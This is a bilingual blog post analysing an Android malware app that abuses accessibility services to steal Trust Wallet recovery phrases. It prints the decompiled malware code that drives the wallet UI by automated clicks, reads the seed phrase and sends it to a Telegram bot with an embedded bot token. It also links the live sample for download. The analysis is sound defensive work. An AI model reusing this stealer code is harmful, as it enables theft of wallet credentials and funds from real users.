Mobile Malware Analysis Part 1 – Leveraging Accessibility Features To Steal Crypto Wallet

Introduction 介绍

Hi Everyone! Welcome to the first part of the blog series based on Mobile Malware Analysis where we will deep dive into the world of mobile malware, exploring its capabilities and shed light on the potential risks it poses to the user’s privacy and security. In this post, we will focus on malware that leverages accessibility features to carry its malicious activities with a particular emphasis on stealing wallet credentials.
大家好!欢迎来到基于移动恶意软件分析的博客系列的第一部分,我们将深入研究移动恶意软件的世界,探索其功能并阐明它对用户隐私和安全构成的潜在风险。在这篇文章中,我们将重点介绍利用可访问功能进行恶意活动的恶意软件,特别强调窃取钱包凭据。

Application Name: Airdrop
应用程序名称:空投

Package ID: com.test.accessibility
包 ID: com.test.accessibility

SHA1: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae
SHA1: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae

The Sample Malware Artifact can be downloaded from : https://malshare.com/sample.php?action=detail&hash=70b07a67b618a6352bf35a735645b156
示例恶意软件工件可从以下位置下载: https://malshare.com/sample.php?action=detail&hash=70b07a67b618a6352bf35a735645b156

Analysis 分析

Let’s begin analyzing the apk using jadx-gui to get an idea of what the Android malware is doing once installed on the victim’s device.
让我们开始使用 jadx-gui 分析 apk,以了解 Android 恶意软件一旦安装在受害者的设备上就会做什么。

Android Manifest.Xml Android Manifest.Xml

Permissions 权限

<uses-permission android:name="android.permission.INTERNET"/>

We could see that the malware is having Internet permission which means that the application possibly communicating with an end-server or downloading a payload.
我们可以看到恶意软件具有Internet权限,这意味着该应用程序可能与终端服务器通信或下载有效负载。

Components 组件

<activity android:name="com.test.accessibility.SplashActivity" android:screenOrientation="portrait" android:configChanges="fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity android:name="com.test.accessibility.MainActivity" android:screenOrientation="portrait" android:configChanges="fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc"/>
<service android:label="@string/app_name_service" android:name="com.test.accessibility.MyAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:enabled="true" android:exported="true">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data android:name="android.accessibilityservice" android:resource="@xml/serviceconfig"/>
</service>

We could see there are 2 activities `Splash Activity` (which is the **Launcher Activity**) and `MainActivity` and an accessibility service named `MyAccessibilityService` (we will learn more about Accessibility Services in the upcoming sections)
我们可以看到有 2 个活动“启动活动”(即**启动器活动**)和“主要活动”以及一个名为“我的辅助功能服务”的辅助功能服务(我们将在接下来的部分中了解有关辅助功能服务的更多信息)

Let’s start analyzing **Splash Activity**
让我们开始分析**飞溅活动**

###Splash Activity ###Splash 活动

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    getWindow().getDecorView().setLayoutDirection(1);
    setContentView(R.layout.activity_splash);
    Thread thread = new Thread(new Runnable() {
        @Override
        public final void run() {
            SplashActivity.this.O();
        }
    });
    this.s = thread;
    thread.start();
}

public /* synthetic */ void O() {
    try {
        Thread.sleep(1500L);
        Intent intent = new Intent(getApplicationContext(), MainActivity.class);
        startActivity(intent);
        finish();
    } catch (InterruptedException e2) {
        e2.printStackTrace();
    }
}

We could see that this activity does nothing malicious as it just started **MainActivity**.
我们可以看到此活动不会执行任何恶意操作,因为它刚刚启动**主活动**。

### Main Activity ### 主要活动

Let’s start analyzing this activity from **onCreate()** method
让我们从 **onCreate()** 方法开始分析此活动

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    if (O()) {
        U();
    } else {
        W();
    }
}

In function O , they are checking whether accessibility is enabled or not using Settings class. If it is enabled they are checking whether this app’s MyAccessibilityService is also present in the list of accessibility services provided by the device. If it is present we return True else we return False. Here is the code for function O.
在函数O中,他们正在检查是否启用了可访问性是否使用 Settings 类。如果启用,他们将检查此应用程序 MyAccessibilityService 是否也存在于设备提供的辅助功能服务列表中。如果它存在,我们返回 True,否则我们返回 False。下面是函数 O 的代码。

public boolean O() {
    String settingValue;
    int accessibilityEnabled = 0;
    try {
        accessibilityEnabled = Settings.Secure.getInt(getContentResolver(), "accessibility_enabled");
    } catch (Settings.SettingNotFoundException e2) {
    }
    TextUtils.SimpleStringSplitter mStringColonSplitter = new TextUtils.SimpleStringSplitter(':');
    if (accessibilityEnabled == 1 && (settingValue = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services")) != null) {
        mStringColonSplitter.setString(settingValue);
        while (mStringColonSplitter.hasNext()) {
            String accessibilityService = mStringColonSplitter.next();
            if (accessibilityService.equalsIgnoreCase("com.test.accessibility/com.test.accessibility.MyAccessibilityService")) {
                return true;
            }
        }
        return false;
    }
    return false;
}

Now let’s check the functionality of method **U**
现在让我们检查方法 **U** 的功能

void U() {
    try {
        ComponentName name = new ComponentName("com.wallet.crypto.trustapp", "com.wallet.crypto.trustapp.ui.start.activity.StartActivity");
        Intent i = new Intent("android.intent.action.MAIN");
        i.addCategory("android.intent.category.LAUNCHER");
        i.setFlags(270532608);
        i.setComponent(name);
        startActivity(i);
    } catch (Exception e2) {
        V();
    }
}

In function V we are sending an intent to start the launcher activity of an application with a package named as com.wallet.crypto.trustapp. At first, I thought this is also a malicious application, but then found out that it is a legit application named Trust: Crypto & Bitcoin Wallet which has more than 10 million downloads in Google Play Store. That is when I understood that is going to be the vulnerable application.**
在函数 V 中,我们发送了一个意图,以启动应用程序的启动器活动,其中包含一个名为 起初 com.wallet.crypto.trustapp. ,我以为这也是一个恶意应用程序,但后来发现它是一个名为 Trust: Crypto & Bitcoin Wallet 的合法应用程序,在 Google Play 商店中的下载量超过 1000 万次。那时我才明白这将是易受攻击的应用程序。

In the case of functions V and W
在函数 V 和 W 的情况下
,

  • function V will exit the application if the Crypto application was not installed or that particular activity (ie StartActivity) is not found.
    如果未安装加密应用程序或未找到特定活动(即启动活动),函数 V 将退出应用程序。

  • function W will request us to allow the accessibility service permission for this application after which it performs the functionalities we discussed in the above sections.
    函数 W 将要求我们允许此应用程序的可访问性服务权限,之后它会执行我们在上述部分中讨论的功能。

Malware application requesting Accessibility service permission
请求无障碍服务权限的恶意软件应用程序

Before moving on to analyze MyAccessibilityService , let’s understand a bit about AccessibilityService, AccessbilityNodeInfo classes, and all of its features.
在继续分析MyAccessibilityService之前,让我们先了解一下AccessibilityService,AccessbilityNodeInfo类及其所有功能。

Accessibility Service 无障碍服务

Accessibility services should are used to assist users with disabilities in using Android devices and apps. They run in the background and receive callbacks by the system when Accessibility Service events like clicking a button, or scrolling a list are performed.
无障碍服务应用于帮助残障用户使用 Android 设备和应用。它们在后台运行,并在执行辅助功能服务事件(如单击按钮或滚动列表)时接收系统的回调。

How To Declare An Accessibility Service
如何声明无障碍服务

To declare Accessibility as a service in AndroidManifest.xml , it must satisfy 2 conditions
要在 AndroidManifest 中将辅助功能声明为服务.xml ,它必须满足 2 个条件

  • Specify that it can handle the android.accessibilityservice.AccessibilityService Intent
    指定它可以处理 android.accessibilityservice.AccessibilityService 意向

  • Request the [Manifest.permission.BIND_ACCESSIBILITY_SERVICE](https://developer.android.com/reference/android/Manifest.permission#BIND_ACCESSIBILITY_SERVICE) permission to ensure that only the system can bind to it.
    请求 [Manifest.permission.BIND_ACCESSIBILITY_SERVICE](https://developer.android.com/reference/android/Manifest.permission#BIND_ACCESSIBILITY_SERVICE) 权限以确保只有系统可以绑定到它。

If either one of the conditions isn’t satisfied, the system will ignore the service.
如果不满足其中一个条件,系统将忽略该服务。

Role Of OnAccessibilityEvent()
OnAccessibilityEvent() 的角色

  • The onAccessibilityEvent() method plays a crucial role in the Android ecosystem by enabling developers to receive and handle diverse accessibility events. When the system dispatches an event, this method allows developers to access valuable information such as the triggering application’s name, the component responsible for the event, and the event’s content.
    该方法 onAccessibilityEvent() 在 Android 生态系统中发挥着至关重要的作用,它使开发人员能够接收和处理各种辅助功能事件。当系统调度事件时,此方法允许开发人员访问有价值的信息,例如触发应用程序的名称、负责事件的组件以及事件的内容。

  • By overriding the onAccessibilityEvent() method, developers can implement custom actions tailored to specific accessibility events. This flexibility empowers them to create Accessibility services that cater to the unique needs of their users, making the Android platform more inclusive and user-friendly.
    通过重写该方法 onAccessibilityEvent() ,开发人员可以实现针对特定辅助功能事件定制的自定义操作。这种灵活性使他们能够创建满足用户独特需求的无障碍服务,使 Android 平台更具包容性和用户友好性。

In conclusion, the onAccessibilityEvent() method serves as a vital component of Android’s Accessibility service, facilitating the creation of specialized services that enhance accessibility and cater to diverse user requirements.
总之,该方法 onAccessibilityEvent() 是Android辅助功能服务的重要组成部分,有助于创建增强可访问性并满足不同用户需求的专用服务。

Types Of Events 事件类型

Accessibility events serve as an integral part of the Android system, providing valuable feedback to users and enhancing their overall experience. These events are triggered when users perform specific actions, such as clicking buttons, scrolling pages, or selecting items, among many others. By generating accessibility events, Android aims to ensure that Accessibility services can deliver meaningful information and assistance to users.
无障碍活动是 Android 系统不可或缺的一部分,可为用户提供有价值的反馈并增强他们的整体体验。当用户执行特定操作(如单击按钮、滚动页面或选择项目等)时,将触发这些事件。通过生成无障碍功能事件,Android 旨在确保无障碍服务能够为用户提供有意义的信息和帮助。

Let’s explore some of the common accessibility events:
让我们探讨一些常见的辅助功能事件:

  1. TYPE_VIEW_CLICKED: This event signifies a user’s action of clicking on a view, enabling developers to respond accordingly.
    TYPE_VIEW_CLICKED :此事件表示用户单击视图的操作,使开发人员能够做出相应的响应。

  2. TYPE_VIEW_SELECTED: When users select an item, this event is triggered.
    TYPE_VIEW_SELECTED :当用户选择项目时,将触发此事件。

  3. TYPE_VIEW_FOCUSED: This event captures the user’s action of focusing on a particular view.
    TYPE_VIEW_FOCUSED :此事件捕获用户关注特定视图的操作。

  4. TYPE_VIEW_SCROLLED: This event is generated when a user scrolls through a view.
    TYPE_VIEW_SCROLLED :当用户滚动浏览视图时生成此事件。

  5. TYPE_NOTIFICATION_STATE_CHANGED: This event is raised when there is a change in the state of notifications, such as displaying information to the user.
    TYPE_NOTIFICATION_STATE_CHANGED :当通知状态发生变化(例如向用户显示信息)时,将引发此事件。

AccessibilityNodeInfo 可访问性节点信息

The AccessibilityNodeInfo class serves as a representation of a node within the window content, encompassing both the node itself and the actions that can be requested from its source.
该 AccessibilityNodeInfo 类充当窗口内容中节点的表示形式,包括节点本身和可从其源请求的操作。

One of the key features of this class is the assignment of integer codes to various accessibility actions. By utilizing the performAction(int action) method, developers can execute these actions programmatically.
此类的主要功能之一是将整数代码分配给各种辅助功能操作。通过使用该方法 performAction(int action) ,开发人员可以通过编程方式执行这些操作。

When combined with the AccessibilityEvent class, which encapsulates information about accessibility events, the AccessibilityNodeInfo class provides a comprehensive toolkit for creating inclusive and accessible applications. Accessibility events trigger actions on the corresponding AccessibilityNodeInfo objects, enabling developers to respond appropriately to user interactions and provide meaningful feedback.
当与封装有关辅助功能事件的信息的类结合使用时,该 AccessibilityEvent AccessibilityNodeInfo 类提供了一个全面的工具包,用于创建包含性和可访问的应用程序。辅助功能事件触发对相应 AccessibilityNodeInfo 对象的操作,使开发人员能够适当地响应用户交互并提供有意义的反馈。

Here is a list of common action codes and their corresponding actions that can be performed using the performAction(int action) method:
下面是可以使用该方法 performAction(int action) 执行的常见操作代码及其相应操作的列表:

  • ACTION_CLICK → 16: Executes a click action on the node, simulating a user’s click on the corresponding view.
    ACTION_CLICK → 16:在节点上执行单击操作,模拟用户对相应视图的单击。

  • ACTION_FOCUS → 1: Sets focus on the node, allowing the user to interact with it or perform subsequent actions.
    ACTION_FOCUS → 1:将焦点设置在节点上,允许用户与其交互或执行后续操作。

  • ACTION_LONG_CLICK → 32: Initiates a long-click action on the node, similar to a prolonged press by the user.
    ACTION_LONG_CLICK → 32:在节点上启动长按操作,类似于用户长时间按。

  • ACTION_SELECT → 4: Selects the node, indicating that it is currently chosen or active.
    ACTION_SELECT → 4:选择节点,指示该节点当前已选择或处于活动状态。

  • ACTION_SCROLL_FORWARD → 4096: Performs a forward scrolling action on the node, allowing the user to navigate through scrollable content.
    ACTION_SCROLL_FORWARD → 4096:在节点上执行向前滚动操作,允许用户浏览可滚动内容。

  • ACTION_SCROLL_BACKWARD → 8192: Performs a backward scrolling action on the node, enabling the user to scroll back within scrollable content.
    ACTION_SCROLL_BACKWARD → 8192:在节点上执行向后滚动操作,使用户能够在可滚动内容中向后滚动。

performGlobalAction()

Performs a global action that can be performed at any moment regardless of the current application or user location in that application. For example, going back, going home, opening recents, etc.
执行可随时执行的全局操作,而不考虑该应用程序中的当前应用程序或用户位置。例如,回去、回家、打开最近的一些东西等。

  • performGlobalAction(1) → GLOBAL_ACTION_BACK → Action to go back
    执行全局行动(1) → GLOBAL_ACTION_BACK → 返回的操作

  • performGlobalAction(2) → GLOBAL_ACTION_HOME → Action to go home
    执行全局行动(2) → GLOBAL_ACTION_HOME → 回家的行动

Now let’s start analyzing MyAccessibilityService class.
现在让我们开始分析 MyAccessibilityService 类。

public void onAccessibilityEvent(AccessibilityEvent event) {
    if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
        AccessibilityNodeInfo nodeInfo = event.getSource();
        if (nodeInfo != null) {
            if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
                for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
                    if (accessibilityNodeInfo.isClickable()) {
                        accessibilityNodeInfo.performAction(16);
                        nodeInfo.refresh();
                        nodeInfo.refresh();
                        nodeInfo.refresh();
                        nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
                        return;
                    }
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
                try {
                    nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
                } catch (Exception e2) {
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
                if (f3329b) {
                    nodeInfo.getChild(2).performAction(16);
                } else {
                    nodeInfo.getChild(4).performAction(16);
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
                nodeInfo.getChild(0).getChild(3).performAction(16);
                nodeInfo.getChild(0).getChild(4).performAction(16);
                nodeInfo.refresh();
                nodeInfo.refresh();
                nodeInfo.refresh();
                String values = "" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ";
                f3329b = true;
                a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", ((((((((((values + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString());
                performGlobalAction(1);
            } else if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
                try {
                    nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
                    f3329b = false;
                } catch (Exception e3) {
                }
            } else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
                performGlobalAction(2);
            }
        }
    } else if (!event.getPackageName().toString().equals("com.test.accessibility")) {
        performGlobalAction(1);
    }
}

Firstly it checks whether a package named “com.wallet.crypto.trustapp” has called the accessibility service.
首先,它检查名为“com.wallet.crypto.trustapp”的包是否调用了可访问性服务。

Next, they are analyzing the class name of the event (event.getClassName().toString()) to determine the current activity or component being interacted with.
接下来,他们分析事件的类名( event.getClassName().toString() )以确定当前与之交互的活动或组件。

If the class name matches com.wallet.crypto.trustapp.ui.start.activity.StartActivity then,
如果类名匹配 com.wallet.crypto.trustapp.ui.start.activity.StartActivity ,则,

Note: 注意:
To know the current activity on the screen we can use the following ADB command
要了解屏幕上的当前活动,我们可以使用以下ADB命令

**adb shell dumpsys activity activities | grep mResumedActivity**
**亚行壳转储系统活动 |grep mResumedActivity**

  • It searches for an accessibility nodeinfo object that has text Settings and checks if it is clickable. If it is clickable, it then performs a click action.
    它搜索具有文本“设置”的辅助功能节点信息对象,并检查它是否可单击。如果它是可点击的,则执行点击操作。

  • Then, multiple calls to nodeInfo.refresh() are made, potentially to update the node’s state or retrieve the latest information.
    然后,进行多次调用 nodeInfo.refresh() ,可能是为了更新节点的状态或检索最新信息。

  • It finds accessibility node info objects containing the text “Wallets” and then clicks on that node.
    它查找包含文本“钱包”的辅助功能节点信息对象,然后单击该节点。

In the next couple of if conditions , nothing much happens since only clicking events occur.
在接下来的几个 if 条件中,由于只发生单击事件,因此不会发生太多事情。

While checking for class name com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity, we could see some interesting functionality taking place.
在检查类名 com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity 时,我们可以看到一些有趣的功能正在发生。

  • After performing a couple of click and refresh actions, some data present on a node is extracted with some more data is passed to a function a along with 2 other parameters.
    执行几次单击和刷新操作后,将提取节点上存在的一些数据,并将更多数据与其他 2 个参数一起传递给函数 a。

Here is the code for method a
这是方法 a 的代码

void a(String token, String id, String message) {
    try {
        b0.b bVar = new b0.b();
        TimeUnit timeUnit = TimeUnit.SECONDS;
        b0 okHttpClient = bVar.c(20L, timeUnit).b(3L, timeUnit).a();
        u.b a2 = new u.b().b(g.a0.a.a.f()).a(g.d());
        u retrofit = a2.c("https://api.telegram.org/bot" + token + "/").g(okHttpClient).e();
        e serviceMain = (e) retrofit.b(e.class);
        serviceMain.a(id, message).z(new a(token, id, message));
    } catch (Exception e2) {
    }
}

Finally, we could see the malicious behavior of this application. We could see that the data extracted from the app (possibly confidential data) is being to a malicious telegram bot endpoint.
最后,我们可以看到此应用程序的恶意行为。我们可以看到从应用程序中提取的数据(可能是机密数据)正在发送到恶意电报机器人端点。

Domain → [https://api.telegram.org/bot](https://api.telegram.org/bot) 域→ [https://api.telegram.org/bot](https://api.telegram.org/bot)

After looking through the code we could see the endpoint it is being sent to is sendMessage
查看代码后,我们可以看到它被发送到的端点是 sendMessage
.

Let’s check our traffic to see what data is being sent. I am using Mitmproxy to see the traffic.
让我们检查我们的流量,看看正在发送哪些数据。我正在使用 Mitmproxy 查看流量。

Mobile Malware Analysis Part 1 – Leveraging Accessibility Features To Steal Crypto Wallet

We could see that the secret key that was formed during account formation is being to a malicious endpoint. Using the secret key, the attacker could extract all the sensitive trading information of that user.
我们可以看到,在帐户形成期间形成的密钥是恶意端点。使用密钥,攻击者可以提取该用户的所有敏感交易信息。

Conclusion 结论

In this first part of our mobile malware analysis series, we’ve uncovered the world of Android malware that targets wallet credentials using accessibility features. As we continue this journey, we’ll explore more intriguing facets of mobile malware, equipping ourselves with the knowledge to stay one step ahead. So, stay tuned for the next installment, where we’ll unravel another captivating chapter in the ever-evolving landscape of mobile malware.
在移动恶意软件分析系列的第一部分中,我们揭示了使用辅助功能针对钱包凭据的 Android 恶意软件世界。随着我们继续这一旅程,我们将探索移动恶意软件的更多有趣方面,为自己配备知识以保持领先一步。因此,请继续关注下一期,我们将揭开不断变化的移动恶意软件格局中的另一个迷人篇章。

原文始发于8ksec:Mobile Malware Analysis Part 1 – Leveraging Accessibility Features To Steal Crypto Wallet

版权声明:admin 发表于 2023年8月21日 上午9:06。
转载请注明:Mobile Malware Analysis Part 1 – Leveraging Accessibility Features To Steal Crypto Wallet | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...